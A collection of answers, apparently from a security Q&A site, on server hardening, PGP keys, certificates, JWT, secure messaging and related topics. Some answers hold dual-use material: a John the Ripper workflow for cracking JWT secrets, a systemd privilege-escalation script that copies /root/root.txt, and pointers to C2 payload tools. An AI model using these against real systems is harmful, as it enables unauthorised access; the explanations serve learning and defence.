If you own the physical server, you have a better degree of protection. Depending on your budget, you can protect the chassis with an array of sensors that clears the RAM and resets the OS. An array of accelerometers can detect if your server is physically moved, and magnets and Hall Effect sensors can detect case opening. Light sensors and sound sensors can detect changes too, if they cut the case to avoid unscrewing it.

You will need to build this security appliance, wire it inside the case, and have your provider sign a document acknowledging they will not handle the server in any way without you being present. With this, you have a reasonable security, but will not be cheap.


Running Untrusted Software on Local Network

DMZ the Windows machine and host a SFTP server on it. Apply firewall rules to limit access to the developer (RDP? ssh?) and the resources from the outside, and for incoming SFTP connections from inside your network. You might also need to protect other assets in the DMZ from this machine.

Your question is unfinished and you omit some details about what environment you are in, but my suggestion follows standard procedure for this very common problem.


How can I be sure that my browser does not exfiltrate my passwords to some server?

In theory, in order to be 100% sure, one would have to either read the browser source-code entirely (in case of open source software) or reverse-engineer it to understand what it does (in case of closed source software).

More realistically though, major browsers (e.g. IE, Safari, Firefox, Opera, Chrome) are probably the most studied software by security researchers, scrutinized in every way to find vulnerabilities and understand their behaviour. If one browser was capturing and sending user passwords to remote servers, this would have been detected.

Another reason why you should not be scared of that is: why would they do that? No matter what the benefit would be, can you imagine the risk they'd be taking by doing so ? If you're a browser editor and you get caught doing that, you can say goodbye to your business.


Could you store your passwords in a phone app governed by a QR code?

Could ...? Sure. I think you meant Should ...? No, one shouldn't rely on QR code. Using QR code is similar to writing password on a sticker, but is even worse. The major difference is, that QR code is designed to be easily read by phones.

QR code can be duplicated. For instance, when you are waiting in line, many people around you can easily make picture of your QR code when you are using it, and then they can reuse whenever they want. Reading a text on your ID card from some distance can be hard. But QR code can be recognized much easier from the same distance.


Removing Google Analytics cookie string from URL - security hole?

The Twitter hole was that they didn't check that the URI supplied in the fragment identifier was what they expected it to be (a root-relative path). It could be any other URI, including an external site, or (what caused the XSS), a non-locating-URI (ah, javascript: URIs—how we all wish you had never been invented).

You don't have this hole here because (a) you are re-using the scheme and hostname from the existing document URI, which must necessarily be a locating-URI, and (b) you are using replaceState: this only updates the apparent path showing in the address bar, and does not actually navigate to the target address.

You could use location.path+location.search as an alternative way of getting the rooted-path part without bothering with splitting out the other parts manually.

How you are handling re-injecting the cookies, and whether you care about the analytics cookies being easily falsified/leaked, might have other implications.


Encrypt backup files and send them to AWS S3

Check out s3cmd.  There is an option to encrypt files on the client side (using keys that are managed on the client side), then copy or sync the encrypted files to s3 buckets.


Is there a Skype plugin that uses TLS and ZRTP

No, there isn't any plugin for Skype that would plug into its transport layer and custom encrypt calls peer-to-peer, and there likely won't be any as:

  Skype uses a closed proprietary protocol, which they do not publish. Skype intentionally does not interoperate with the rest of the VoIP industry, which is built on open standards. [1]

Skype is now fighting back to regain its reputation and end users' trust, after the series of news stories, such as you link to, have alleged that: Skype changed its network's architecture since its acquisition by Microsoft last year to enable “lawful interception” of calls.

  Mark Gillett, Skype COO:  "Skype to Skype calls do not flow through our
  data centres and the "supernodes" are not involved in passing media
  (audio or video) between Skype clients.   These calls continue to be
  established directly between participating Skype nodes (clients). In
  some cases, Skype has added servers to assist in the establishment,
  management or maintenance of calls."

Well, right. Managed calls anyone?!

TL;DR - Since Skype is using a proprietary hybrid TLS (combining both client-server and peer-to-peer encryption protocols, and not that safe ones at that either), I don't see them opening up to the wider VoIP community and supporting custom encryption schemes and ZRTP.


Stop traversal directory attack with .htaccess?

Yes, that does not work.

You do define access rights from the outside in the .htaccess file.

If a php script is running locally on the web server, it has access to whatever is allowed by the local permissions.

When multiple hosts are hosted on the same machine, they usually have different access rights based on users to separate the tenants from each other and thwart including files from other tenants.

There is not much you can do, except to make it impossible to drop a malicious script in the first place.


A file that doesn't allow copy/paste or print

Nope, and it can't exist in the general case, because you don't control the client device. This is essentially the problem that DRM solutions try to solve for video and audio content, and text or static image content is much less difficult to copy.

For example, if I can see the contents of the file, I can take a screenshot of that content, run it through an OCR package, and I've got the text. I can do that even if you require a special viewer application which tries to detect screenshotting, by using a high resolution camera, such as the one on my mobile phone. You can encrypt the data at rest, but if you want me to be able to see it, I can copy it once it's no longer encrypted, at the point where I'm looking at it. For text, I could just copy it by hand, too...


Supported options will depend on your service provider. Any encryption of drives etc only protects the data when it is not being accessed / used.

There is no practical encrypted processing at the moment; so if you are ever accessing / processing the decrypted files at the service provider, any intelligence agency with access to the data center,  or the provider, will be able to lift the keys from the memory of the running processes.

If you encrypt and decrypt files locally and then process and store them on a cloud server without ever revealing the private keys to the remote server,  or trusting any software from the hosting service you can store your data confidentially.


Your primary key (which is the OpenPGP saying for what you called "master" key) is the entity all other subkeys and user IDs are bound to.

Having an Offline Primary Key

  Going through a couple of thread it seems like the most popular scheme for maximum security is to have an offsite master (sign-only) key which provides a shell for a couple of daily-use subkeys.

Storing it offline can be reasonable to enhance it's security, as chances of getting hold of it in case your computer gets corrupted are lowered; it would have to be on your computer at the time being corrupted. I posted some more elaboration on offline keys in another answer.

Back to your questions:

Primary User ID Without Mail Address

  I was thinking about putting only my real name into it without any email address as they possibly will change anyway over the years as well as nobody shall send an email to the master key as well.

This is preferred by some OpenPGP users, as it decouples the person (you) from something you own (your mail address). Mail addresses tend to change over time, but you will very likely stay the same person with the same name for a long time (name changes, possibly through marriages, are rather infrequent).

Like already mentioned above, your primary key actually will never have a user ID (mail address) included. Instead, usually the primary user ID will be printed next to it.

This is usually the first one created, but this can be also changed whenever you want – also for existing keys with a primary user ID containing a mail address. To do so, run gpg --edit-key [key-id]. list the user IDs, and select the one you want to make the primary by typing its number. The next list will print a star next to the user ID. primary will make the the primary user ID.

Further Details in the Primary User ID

  Is this a good practice, should i put a comment like (master signing key) or my birthday/birthplace in it?

There are pros and cons to this. Your place and date of birth, together with your name, are usually sufficient to really uniquely identify you – depending on how common your first and family names are, there might be other persons with the same name, but very likely not the same place and date of birth. On the other hand, these might be enough to misuse your identity, and depending on your society might be considered very intimate details of your life. Remember you will not be able to undelete anything that found its way on the key servers! But also think about what you but in your social web profiles. If you're listed on some find-my-classmates-website, your age is listed on Stack Overflow and your friends post birthday congratulations on facebook, these details are not private any more anyway.

  What would you recommend?

My master key is offline, and it has a primary user ID containing name, place at date of birth.


Exposing Model to POCO in MVVM Entity Framework Application

No - there is nothing inherently insecure about having a POCO that exposes a collection model objects.

Depending on how you use user input to interact with any object and depending on what you do with that data later can open you up to potential security vulnerabilities, but without seeing your code it's impossible to say if this is something you should be concerned about.


How do I scan a WordPress website which blocks WPSCAN from scanning the website?

You can't detect a web application firewall (WAF) using port scanning as it sits in front of the web server rather than listening on a separate port. You might detect a WAF from the headers it modifies or the cookies it adds, but it doesn't need to manifest itself in any way. The wafw00f.py you already used utilizes these methods in an automated way, but if it doesn't find one it's not a proof there isn't any.

It's actually better to avoid giving hints on which WAF you use: it's usable information, as the WAF could be vulnerable too, just like any other program. If a vulnerable WAF is protecting a vulnerable application, there's a chance that there's a hole big enough for an attack.

If there's a WAF in front of the web server, you simply need to place your scanner behind it. If you can't, you are probably not allowed to do so, which would make this question off-topic. If you can, your idea of testing the site separately is good. Another option is to copy the site to a test environment and run the tests there, to avoid breaking anything.


Are certificate authorities required to obey to the signature algorithm (hashing) specified in the CSR?

The signature algorithm specified when creating the CSR corresponds to the message digest used to sign the request itself, it is not intented to ask the CA to prefer that algorithm when signing your certificate.

The MD used in the CSR establishes the level of confidence in your request, but does not imply what algorithm is used on the certificate since signing does not depend on that digest but on the public key.

Most CA stick to the same algorithm for a specific issuing certificate unless it were discovered to be "weak", ignoring what message digest you used in your request.

A good CA would reject any CSR signed with MD5 (for precaution since they shouldn't trust you), and should be forcing you to use SHA256 for any certificate you pretend to use for more than two years starting today (2014), since Microsoft (and maybe others) will be rejecting certificates signed with SHA-1 or lower on January 2017.


Why would encrypting data result in a call to a Domain Controller

When you call SignData() or VerifyData(), you must specify which hash function to use (because signatures operate on hashed messages). Moreover, with RSA specifically as described by PKCS#1, the hash value is encapsulated inside a structure which contains the object identifier (OID) of the hash function. The invoked method must thus map the provided hash function specification (which can be a string) to the corresponding OID, and, in the Active Directory, this must go through the AD server (the AD server is a kind of gatekeeper for such mappings).

When the calling code runs as a local account, the AD server may refuse to respond, hence the delay.

This is a misfeature of the .NET implementation: for hash functions specifically, the code should know of the OID of the hash functions it implements (there are not so many) and should not need to talk to the AD server for that (these OID are "well-known" and standardized, they cannot change at the whim of an AD administrator).


What makes TPM chip Endorsement Key Non-migratable?

Careful, the terminology is really getting fishy here.

I know the mistake is an honest one, but it doesn't make sense to even ask about the migratability of these keys.

The Endorsement Key is not "non-migratable".  The idea of migration doesn't even apply to this keys.  It is special.  Its private portion is completely inaccessible outside of the TPM.  Discussing its candidacy for migration is patently incorrect, imho.

That said, your question becomes ambiguous.

If you are asking "why can't I transfer the EK to another TPM", that is enforced by the TPM spec from TCG, the design abstractly considers this key as the root identity of a discrete chip.

If you are asking "how does a TPM keep this special key safe", then the other answers addressed this; the implementation is vendor specific.  A physical IC TPM will probably be designed to physically secure the key in some way, and a software TPM will obviously have (well tested I hope) code that doesn't provide a code-path to output the key.

EDIT: I have edited my answer above to only discuss the EK.  Previously I included the SRK also in those terms.  However in A Practical Guide to Trusted Computing, chapter 3, the authors do discuss the SRK in terms of being non-migrateble.  They do not, however, discuss the EK in these terms, suggesting, as I propose, that this key is unique.


I ended up writing a little Python script that uses PyJWT to parse the JWT and check the signature.

There is also jwtbrute. I haven't tested it, but it seems to be a bit more efficient than my script because it does much work such as base64-decoding outside of the loop.

If you want to crack JWTs using John the Ripper, you need to convert their format to something like this:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjEyMzQ1Njc4OTAsIm5hbWUiOiJKb2huIERvZSIsImFkbWluIjp0cnVlfQ#7a86835464c295175fc5465788fb377fc16624390313f5424055ea2b1a4bb2db

As you can see the first two parts are the same, but the signature is now hex instead of base64. Also, it is separated from the data with a # instead of .. I wrote a little script to do the conversion.

You also need a recent version of john. The version that comes with Kali didn't work for me, but the version on GitHub did.

$ ./john ~/dev/crackjwt/jwt.john
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
secret           (?)
1g 0:00:00:00 DONE 2/3 (2016-08-24 15:58) 6.666g/s 218453p/s 218453c/s 218453C/s 123456..skyline!
Use the "--show" option to display all of the cracked passwords reliably
Session completed


Serving javascript from an API and having that execute on the client

It's not clear what your threat models are or how you designate any of the nodes in the system as "trusted." Here's a short list of things you should have already considered:

What happens if the primary API is compromised (e.g. hacker serves malicious javascript code from the API)?
What happens if the connection between the primary API and the client is compromised (e.g. MITM (are you using SSL?) injects malicious javascript code)?
What happens when the client's computer is compromised (e.g. client starts hacking around to see what happens) and sends other "locally-verified" commands to the other APIs?
What happens when the connection between the client and the other APIs is compromised (probably no different effect than if the client's computer is compromised)? Or the other APIs themselves are compromised?


It depends whether you want to defend against typing mistakes, or attacks.

If you just want to defend against typing mistakes, just include some structure in your configuration file. E.g., define that your configuration file MUST begin, when decrypted, with the string "This is configuration file for application FooBar". If you do not find that string upon decryption, then the key is wrong.

If you want to defend against attacks (a bad guy voluntarily alters parts of the encrypted configuration file to make you load an incorrect key), then you need something stronger. The "right" solution is to use an authenticated encryption mode (my favourite is EAX). If your programming framework does not include an implementation of EAX mode, you can do something like this:

From the user's passphrase, generate 384 bits of key (PBKDF2 is a "key derivation function", it can be used to produce keys of arbitrary length). Split these into three 128-bit keys K1, K2 and  K3.
Encrypt the configuration file with AES-128-CBC, using K1 as key and K2 as IV. Call the result C (the encrypted file).
Compute a MAC value over C, using key K3. For the MAC function, use HMAC with SHA-256 (or SHA-1, but SHA-256 is preferred on a general basis). The MAC is stored along C (appended, as header, as a separate file... that's your choice).
When decrypted, to the reverse: obtain the three keys from PBKDF2, verify the MAC, and (only if the MAC was correct) decrypt the file.

This scheme would resist both attacks and typing mistakes (however, it does not distinguish between a wrong passphrase and a genuine attack).

Edit: I had left it implicit, but it would be better to state it plainly: since we are using PBKDF2, there is a salt which is used to turn the password into the PBKDF2 output. Each encrypted file SHALL have its own salt. The salt SHALL be encoded in the file header. If a file is "re-encrypted", a new random salt SHALL be generated.


mandatory access control for database security

Quoting from the SSCP CBK Book, to substantiate your concern, the issue with the Bell-LaPadula architecture is laid out:

  However, it [Bell-La Padula] does not take into consideration the possibility that a subject may add, append or transmit sensitive information to an area of lower sensitivity.

It goes on to say:

  Bell-LaPadula adds another property to counteract this called the star '*' property. The "*" property blocks the channel between different sensitivities such that when a subject has accessed an object for a read operation, then objects at a lower sensitivity level cannot be accessed for create and modify operations ("no write down").

The answer to your question in the simplest sense is the "no write down" rule includes insert, modify and delete because they are all write operations.

Further to that modifying existing records is not much different than inserting data when concerned about data leakages from high clearance objects to lower ones.


Should I set up a VPN for these services?

Is this a good use case of using Virtual Private Network? What's the
  best practice?

It is a broad question and it depends on many factors (size of your team, user locations, network zones, location of DBs, internal network connections among hosts etc).

To put it simply, you should be only exposing your production web server and your other hosts should be only accessible through VPN. You may want to setup an internal dev web server to complete you CI.


Are fields of a root CA certificate checked?

This means that a CA certificate that lacks the CA:true constrain can issue other certificates and be the root of a valid chain

From my experience at least OpenSSL will verify that the CA:true flag is set, i.e. that the certificate can be used as CA at all. But I doubt that it checks expiration. It does not check for revocation since root CA are usually self-signed anyway thus revocation check would be impossible (you cannot trust a certificate to issue a revocation if you don't know yet if you can trust the certificate).

EDIT: based on the feedback of @Georgi it looks like that it will assume that the certificate can sign others if no constraints are set. But if an explicit CA:FALSE is set on the issuer certificate validation of certificates signed by this issuer will fail.


Authentication through digital certificates plus signature

A certificate is public data; people keep showing them to each other. When you talk to a SSL server, one of the first things that the server does is to show his certificate. To anybody.

Thus, showing a certificate does not prove your identity. What matters is the private key. The private key is not in the certificate(*). By computing a signature, you demonstrate mastery of the private key, i.e. you show that you are yourself.

The certificate itself is a container for the public key. When I look at Google's certificate (the one they use for their servers), I can validate it (against CA's public keys) to gain some assurance about the certificate contents, which really amount to: "this public key is owned by that entity". I thus learn Google's public key. However, it does not tell me at all that whoever handed me that certificate is Google ! Everybody can obtain Google's certificate; you can even see it in your Web browser by merely connecting to their server. What tells me that I am indeed talking to Google's server is that the server appears to be able to produce a valid signature on a challenge I am sending to it; and I can verify that signature with Google's public key (and I know Google's public key thanks to the certificate). Being able to produce a valid signature requires knowledge of the private key -- in that case, Google's private key, which, as the name implies, is known to Google only.

(*) There is a considerable amount of confusion implied by some people who call "certificate" what really is the certificate AND the corresponding private key. Terminology sloppiness is unfortunately widespread.


How can I decode a message that was encrypted with a one-time pad if I have the key?

Yes, you can.

The one-time pad is usually employed as a symmetric encryption, i.e., encryption key and decryption key are the same. It is often as simple as applying XOR of key and message.

Note that the one-time pad suffers from some problems:

You can use a key exactly one time, otherwise the encryption is broken
There is no protection against altering the encrypted message
You need a way to exchange the one time pad keys in a secure way.


The ideal way is to write a custom payload with custom behavior, you will find this Link very useful
but you can try other tools like:

Shell7er
PoshC2
Hack The World:

for this purpose.


How is a certificate extension different from a certificate file name extension?

Certificate extensions are just additional information in the certificate, i.e. "extending" on the information which has to be provided at minimum. If you need these extensions you have to use X.509v3, without extensions you can use X.509v1. Typical extensions are usage restrictions, subject alternative names or links to CRL download and the OCSP resolver.

A certificate can contain multiple extensions and this is actually the common case. The server can differ between the various extensions because each has a type id which is contained in the X.509 file. For  more detailed information about the variety of extensions which exist see Redhat: B.3. Standard X.509 v3 Certificate Extension Reference.

Certificate extensions have nothing to do with file name extension, hair extensions, loan extensions or any other kind of extensions.


OAuth alternative for two-party scenario?

OAuth 2 can solve your problem with its Client Credentials Grant (aka service-to-service or machine-to-machine flow).
As noted in the OAuth 2 specification the clients must be confidential, i.e. registered with some secret - exactly how this is done depends on the Authentication Service.
Perhaps Microsoft's workflow makes it clearer - the first half is the registration step (just need to be done once for each client).

For details see https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-client-creds-grant-flow. Here's a table is to help sync up terminology differences...

Your Terminology
Microsoft Diagram
OAuth 2 Terminology

External Application
Web Server
Client

My Code
Web API
Client

Here are some alternative Authentication Services below but they assume you already did the registration:

Keycloak. Also see this example. Keycloak is an open source Authentication Service developed by RedHat that you can host yourself.
Google.


What's the advantage in encrypting data for data masking?

If your developers need to work with the data it doesn't make sense to encrypt them, because they will need that data to test the functionality.

If you would AES256 encrypt an address field

it would become binary data which you could base64 encode or store as is. That data would be unusable for the developer, because it doesn't reveal the context.

Example: Cool street 16 => abcdabcdab==

Masking data is the best solution

Example:
Cool street 16 => Abcd street 69

Developers can still work with this data, but it doesn't reveal the sensitive details.


Key penetration from guest OS directly to hard drive

The cloud you run your VM on is essentially the "hardware" for your system. As much as you don't have full control of the hardware you have at home you don't have full control of the virtual hardware in the cloud. As much as the vendor of your hardware at home might have placed a backdoor into your keyboard or into the BIOS etc the provider of the virtual hardware in the cloud could do this too - and it would be even easier (see VMI outside the virtual machine).

In other words: either you trust the CSP or not. In the latter case you should not use it. For a guest VM there is no protection against a malicious cloud provider.


What is the purpose of JSON Web Token (JWS)'s issued at "iat" field?

What is the purpose of the "iat" field? For example, why would one want to determine the age of a JWT? Were there specific purposes in mind when the spec was created?

"iat" can help the service that issued the JWT to make decisions on its own instead of depending on the issuer for a fixed expiration time (suggested in the comment by Joe above).
A JWT issuer could also set both an expiration "exp" time as well as an issued at "iat" time - the service receiving the token could decide that the expiration time is much too long, and discard it after a shorter interval which it can compute with "iat".


Counting on firewalls only : sound security strategy to prevent intrusion?

This is definitely not enough. Avoiding the huge discussion of differences between traditional firewalls, next-gen firewalls, and web application firewalls (WAF) none of these devices offer 100% protection. I'd go so far as to say even if you had all of them (which your friend probably doesn't) there will always be a decent number of well known attacks that can easily reach your applications and databases. Add to that the number of WAF-bypass tools and attacks against any application customizations or business logic and your friends strategy looks really ugly. Attacks are definitely getting through your friends defenses, he/she just has no way to see them.


I've encountered JavaScript attack code - how do I search for information on the exploit's specifics?

This looks like a pretty good example of this malware being reversed (and a step-by-step how-to) by someone else. I just searched the following on google.

Basically it looks like you got attacked with the some new variant of the infamous blackhole exploit kit.

If you do a search throughout the pastebin that you linked for 'java' 'flash' and 'pdf' you'll see references throughout which essentially translate to 'download and open this' in the hope that one of the many exploits present in the kit will work. The first link I've posted shows a good break down of this is done.

If no analysis had been done by the above authors however, i'd suggest going the route that Michael suggested and loading up a VM image. That being said, it still has its own risks. I'd recommend, if you want to do this on a regular basis, having an old laptop or desktop machine dedicated to doing this kind of investigation. This question might also help you in future.


No, because physics. Radios emit radio waves and these can always be detected by a suitable receiver.

Note that this is not sniffing - that means reading the packets as they go past. The device you link to doesn't sniff - it just looks for a signal at the appropriate frequency.

(You can sniff 3G as well as detect it, of course, but no-one bothers as it is encrypted well enough that other methods of intercepting the data usually prove easier.)


Which web vulnerabilities should I test for when pentesting a static site?

Regarding the third party payment service, there are many possible vulnerabilities. Off the top of my head, I'd try to intercept and modify a request made from the web page to the third party payment service (eg. lower the amount).

After, I would focus on the apache server that delivers the html page to the client. Try looking up apache vulnerabilities.

I'd fiddle around with the URL (I've heard about DoS by browsing to domain.com/shutdown) looking for direct request vulnerabilities, and test the request headers looking after OS injection, overflows, CRLF, etc.

Also, I'd check for inconsitencies like making requests with HTTP 0.9 vs HTTP 1.1 (this could provide a auth bypass)

  "I am having a difficult time coming up with other vulnerabilities to
  look for"

I suggest you browse reported vulnerabilities from MITRE as a habit and read the references when something makes you curious. (NVD imports the content from MITRE and I personally read if from here: https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&search_type=all)
but for now you could take a look at all the CWEs and find some inspiration there (https://cwe.mitre.org/data/definitions/699.html)


What does the following lines of code mean? Can anyone explain step by step?

This writes a systemctl service file to a temporary file then calls systemctl to start said service.

The privilege escalation comes in if systemctl has SUID (meaning it always runs as the user who owns systemctl, usually root), or if sudoers is badly configured. If that is the case, the demo service will copy the contents of /root/root.txt into /tmp/output.

Details of the code:

# Create a temporary file and save the path in the variable eop
eop=$(mktemp).service

# This write one big string to the file path stored in eop.
# This is a barebones service file for systemctl.
# Note the single quotes after echo and before >
echo '[Service]

ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"

[Install]

WantedBy=multi-user.target' >$eop

# Tell systemctl about the new service described in the file pointed to by eop
/bin/systemctl link $eop

# Enable the service and start it right now.
/bin/systemctl enable --now $eop


Required a simple guide for secure messaging application

This is actually just the opposite; it is a rather in-secure way of handling messages.  Repeat after me: "My server should never, ever, be able to read the contents of a 'secure' message."  Because you encrypt everything to the server who then re-encrypts & sends it on to someone else, if there is ever a compromise of the server then the entire system is compromised.

You really need to instead think of your messages as two separate parts, and to keep it conceptually simple we'll think of it as an old-fashioned snail-mail.  You have an envelope and a letter.  The envelope is readable by the mailman/post-office (your server), but they can't open it and read your letter, that's only for the ultimate recipient.  In the scenario you describe, it is more like a postcard where the post office can read the message (you don't want that).

Instead, consider a scenario more like this.

You have a server that handles two functions: message delivery (+ storage while waiting for offline clients) and recipient lookups.  You have clients that connect to the central server, their whole job is message encryption & decryption (and any local storage/filing of messages you want to include).

For security against the cases you listed, you need multiple layers of protection.  All communications should be over a transport-encrypted link to prevent Man-in-the-Middle attacks (sounds like a perfect match for TLS).  The server should generate an RSA key pair for itself, then as a recipient lookup function, it should publish the public component of this key in its own internal directory (prob with a reserved name that cannot ever collide with a user name).  Each client should also generate an RSA-styled keypair for message protection (or import an existing key pair, if you want to join multiple clients to your account you'd import the same key pair onto each client); when this key is generated the public component should be sent to the server (along with a lookup value, think username or email address).  The server would then add this key to the public directory.  An important security feature is that the server should be able to translate lookup-values into public key IDs (and public key IDs into the full public key -- break that into 2 steps to avoid unnecessary data transmission, making things faster); but the server should never accept the public key ID/data and return the lookup value (with the encryption key a public user shouldn't be able to look up who the key belongs to).

Whenever you want to send a message, you put in the intended recipient(s) on the client-side.  The client looks up each recipient to get their key ID.  If the client already has the corresponding public keys in the local cache it uses them, elsewise it requests the full pub-key data from the server (by ID) and caches/uses that.  At submission, the client makes multiple encryptions, one of the envelope (it encrypts the list of recipient key IDs using the server's public key) and another of the letter (the message itself is encrypted, but only to the recipients, not to the server), and finally a signature of each of those (so that the server can verify it is a legitimate message that should be delivered, and so the recipients can verify the message wasn't tampered with while in transit).  The message is submitted to the server which decrypts the envelope data and puts copies of the message in delivery queues for each intended recipient (by public key ID, not by username/email).

Periodically your clients should query the server to see if there are any messages waiting on them.  The query should be validated by the server by requiring the client to sign a random message with their private key (so you don't deliver the messages, even if they are encrypted, to the wrong person).  Just have the server generate a random byte array of sufficient size to have high random-entropy, then ask the client to sign it with their private key (which is verifiable with the server's stored copy of the public key) before releasing messages to the requesting client.  If you want the server to contain a backup of all messages, then have the server save the full message (envelope and letter) -- for security, the server still doesn't decrypt the "letters" but it can retransmit them down to any client that is checking in (and if the clients share the same key pair, then they will download the same message set, and can decrypt it on their end)

Once the client has the downloaded messages, it can locally decrypt using its private key and display the "letter" to the end-user.  This guarantees that the message itself cannot be seen by the server, thus filling in the security hole that you had in the original design.

Basically, use your server like a PGP keyserver, MTA and storage point; and make your clients into the crypto-end-nodes.  Your server can lookup public key data for any user, given that it is provided with the value (username/email/etc) to lookup --- but it will not provide the lookup value from the public key data (this prevents someone looking up who is communicating if they manage to compromise a message envelope).  All of the message content is encrypted directly between clients (this prevents a server-side attack from compromising the message content, though it may allow the attacker to see who is communicating since the server has a database somewhere that maps key IDs to lookup values).  The envelope is signed by the sender, this verifies to the server that the transmission is from a legitimate source (otherwise it should discard the message as an attempted attack).  And the letter is signed by the sender, this lets the recipients verify that the message is really from the sender (prevents a MitM or server-side attack from sending messages to the "recipients" that aren't really from the purported sender).

Layering all that inside TLS for good measure (helps prevent MitM attacks) and you have a pretty durn secure system.  You can ratchet it up by adding things like "password protect the private key data" (so a compromised client node doesn't immediately give stored message content away) or time-based-envelope/letter expiry (so that messages are transient and don't persist).  On the server-side you could also do thinks like holding all your queues as encrypted data that only resides in memory (if someone steals the server and try to leave with it so they have time to brute-force your keys, the loss of power will also lose the messages sitting on the server, yielding a physical server attack less effective)

This isn't quite as strong as a full double-ratchet system, but it is nearly so.  And it is fairly trivial to implement (RSA keys and PGP en/de-cryption are known processes that are rather easy to drop into a project).


In case you're using systemd disable (comment out or set explicit to off) ProtectSystem directive at knockd.service file (found in /lib/systemd/system/ folder).

If this works, reset it to full and put below it

ReadWritePaths=-/etc/ufw/

ProtectSystem=full mounts ro /usr, /boot and /etc for processes invoked by the unit excluding directories specified in ReadWritePaths.

If running, before restarting the service do

systemctl daemon-reload


Is there any security risk with having incomplete data between information systems

Sure. This happens all the time at the macro level. I suspect you're imagining something more low-level and technical. But at the macro level there are "identity providers" who know people's userids, passwords, etc. There are various authorisation systems, like the payroll system that knows who can approve changes to payments, etc. or the company file server that stores secret company files, or the employee performance review system where managers record employee performance.

In a company that had all these systems, you routinely have gaps. One expects a manager to have authority to enter feedback about her own employees but not about others. Or she can see the project files in her teams workspaces, but not in other teams. Or she knows the salaries of her own employees but not those on other teams. So the HR system records reporting lines Bob reports to Andrea who reports to Jill. That reporting line concept is completely missing on the fileserver, which has its own group system with its own ideas about what teams Bob and Andrea and Jill are. And the payroll system has its own idea about groups of users.

So it is quite easy, and it happens all the time in real companies, that Andrea moves off of Jill's team and onto Tom's team. HR is updated so that reporting lines are correct. Payroll is updated so that now Tom has access to Andrea's salary, but Jill no longer does. But then the IT team doesn't get notified, so Andrea still has access to files on her old team's workspace that she shouldn't have access to. Depending on your definition of "vulnerabilities", this is going to allow data to be exposed that shouldn't be.

If you're thinking more of a data consistency problem (e.g., we have a 3-node database and 1 of the 3 nodes has out-of-date data), that's not so much an information security problem as a data integrity problem. It won't just cause 'vulnerabilities', it will cause the system to fail in its primary purpose. Some queries will get bad data, and that's a problem generally—not just in some information security sense.


Does chatting over Skype expose my IP address?

In general yes, there is ways of doing this, as a quick google search would've been able to tell you.

When ever you call, write or send a file to a person on skype you make direct contact with the persons IP/ISP IP, and that you are of course able to track. A simple way to do it in windows is using netstat -n while in a call, and look for the port you know you use skype on. A better way would be to use wireshark to monitor your traffic and look for skype protocols.

A quick youtube video on the simple way to do it:
http://www.youtube.com/watch?v=ro_zrbBsgBk

It is however very limited what kind of thread this might be to you. If you don't have any holes or open ports that shouldn't be open, or are hidden behind a basic router/firewall, it's quite a bit harder to get to you than just going through skype.


Using password manager along with a remembered password

Your scheme feels inconvenient to the point that IMO is not worth the trouble I would subject myself.

I trust password managers enough (LastPass) to protect passwords. All the data they store in the cloud is encrypted - it is only ever decrypted locally on your browser.

If anything I would worry about the bigger problem that not all websites follow best practices for password management/hashing, so having just the password, no matter how well guarded, is not enough.

My recommendation is let the password manager take care of the passwords, but make sure to enable second factor authentication (2FA) for important sites.

If a site does not support 2FA of some sort, I would hope it is not an important site... make sure it doesn't store credit card or sensitive information about you.


Does encrypting the same file twice with two different keys present a security risk?

It is safe if the algorithm is not weak. If it was not safe then this would count as a serious break of the algorithm. No such weakness is known for (properly employed) AES. TrueCrypt has good reputation and uses a cryptographer-approved encryption mode.

So, yeah, no worry.


What are the risks of exposing the Docker for Windows daemon on localhost?

If you expose the Docker daemon without authentication (which is what that options does) then anyone who can make HTTP requests to localhost:2375 will be able to execute Docker commands on your host (the Docker daemon is a REST API so takes HTTP commands)

The consequences of that could be bad depending on the setup in question.  For example an attacker could start a container which would connect back to a system controlled by them and allow access to your internal network.

An attacker could also start a container which maps in directories from the underlying host into the container that they control.

How probable these scenarios are, depends on your exact threat model, but that's the kind of thing that could occur.

As to mitigations, you can configure the Docker Daemon to use client certificate authentication via a TLS cert, some more information about setting that up here

Of course that might not work for whatever tooling your developer needs to use.

An alternative options (assuming that it's Linux containers under development rather than windows containers) is that you could use Visual Studio Code's ability to develop against a remote docker instance (more info here )


How do persistent reverse shells and other malware gain their persistancy?

They don't.

A reverse shell is just a technique to connect to and control a computer. On its own, a reverse shell has absolutely no persistence capabilities. In order to persist, it must be the payload of malware which does offer persistence. For example, malicious software set to run as a service could install a reverse shell.


If HTTP is used, yes they can spy on you. If HTTPS is used, no they will not be able to spy on you. The transparent proxy is normally run on port 80 (HTTP) only, since it does not work with HTTPS.

The transparent proxy only caches content which is common to most users. e.g. logo.png, favicon.ico. Since every user is going to load the same site logo, it is a waste of bandwidth to download it from Google/Whatsapp repeatedly. Websites usually use headers to indicate that the content is "cache-able". Cache-Control: max-age=3600 indicates that the content is valid for 1 hour, hence your ISP only needs to retrieve the latest copy once every hour.

However, your personal mailbox or conversation list will never be cached. This is because it is unique to you, so there is no benefit from caching it. Hence, websites normally do not add cache headers to the response. If the website uses POST to retrieve this data, according to HTTP 1.1 RFC 2616 S. 13.10, the cache should be invalidated. If the website uses GET request, the URL is likely to be unique, e.g. http://example.com/getmessage.php?uid=123456, since every user has a different UID, it is pointless to cache such responses.


Unknown round length makes hash uncrackable?

This would usually only be a mild, temporary barrier to cracking.

Leaving off the number of rounds would be a thin layer of obscurity. The only way such a hash could even work would be if the software had a hard-coded or algorithmic way to determine the number of rounds. So that software could simply be reverse-engineered to discover the number of rounds.

It would also be quite unusual. Most hash formats that use rounds include the number of rounds as part of the hash itself (the "1000" in this example, taken from the list of hashcat example hashes):

sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt

This means that the easiest workaround is to simply generate a version of the hash with many numbers of rounds:

sha256:1:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
sha256:2:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
